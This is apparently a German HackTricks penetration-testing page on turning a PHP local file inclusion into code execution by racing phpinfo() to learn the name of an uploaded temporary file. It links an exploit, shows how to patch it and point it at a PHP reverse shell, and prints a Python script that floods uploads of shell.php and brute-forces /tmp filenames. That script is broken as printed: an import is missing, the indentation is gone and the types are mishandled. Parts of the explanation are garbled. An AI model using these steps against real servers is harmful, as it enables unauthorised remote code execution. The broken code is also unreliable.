LFI2RCE via phpinfo()

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Um diese Schwachstelle auszunutzen, benötigen Sie: Eine LFI-Schwachstelle, eine Seite, auf der phpinfo() angezeigt wird, "file_uploads = on" und der Server muss in der Lage sein, in das Verzeichnis "/tmp" zu schreiben.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Sie müssen den Exploit beheben (ändern Sie => in =>). Dazu können Sie Folgendes tun:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Du musst auch das Payload am Anfang des Exploits ändern (zum Beispiel für eine php-rev-shell), das REQ1 (das auf die phpinfo-Seite zeigen sollte und das Padding enthalten sollte, z.B.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), und LFIREQ (das auf die LFI-Schwachstelle zeigen sollte, z.B.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Überprüfe das doppelte "%" beim Ausnutzen des Nullzeichens)

Theorie

Wenn Uploads in PHP erlaubt sind und du versuchst, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage abgeschlossen hat. Anschließend wird diese temporäre Datei gelöscht.

Dann, wenn du eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.

Unter Windows werden die Dateien normalerweise in C:\Windows\temp\php gespeichert.

Unter Linux ist der Name der Datei normalerweise zufällig und befindet sich in /tmp. Da der Name zufällig ist, muss der Name der temporären Datei aus irgendeiner Quelle extrahiert werden und darauf zugegriffen werden, bevor sie gelöscht wird. Dies kann geschehen, indem der Wert der Variable $_FILES im Inhalt der Funktion "phpconfig()" gelesen wird.

phpinfo()

PHP verwendet einen Puffer von 4096B und wenn dieser voll ist, wird er an den Client gesendet. Dann kann der Client viele große Anfragen (mit großen Headern) hochladen einer php Reverse Shell, auf die erste Teil der phpinfo() wartet, der zurückgegeben wird (wo der Name der temporären Datei steht) und versucht, auf die Temporärdatei zuzugreifen, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.

Python-Skript zum Versuch des Brute-Forcing des Namens (wenn die Länge 6 beträgt)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated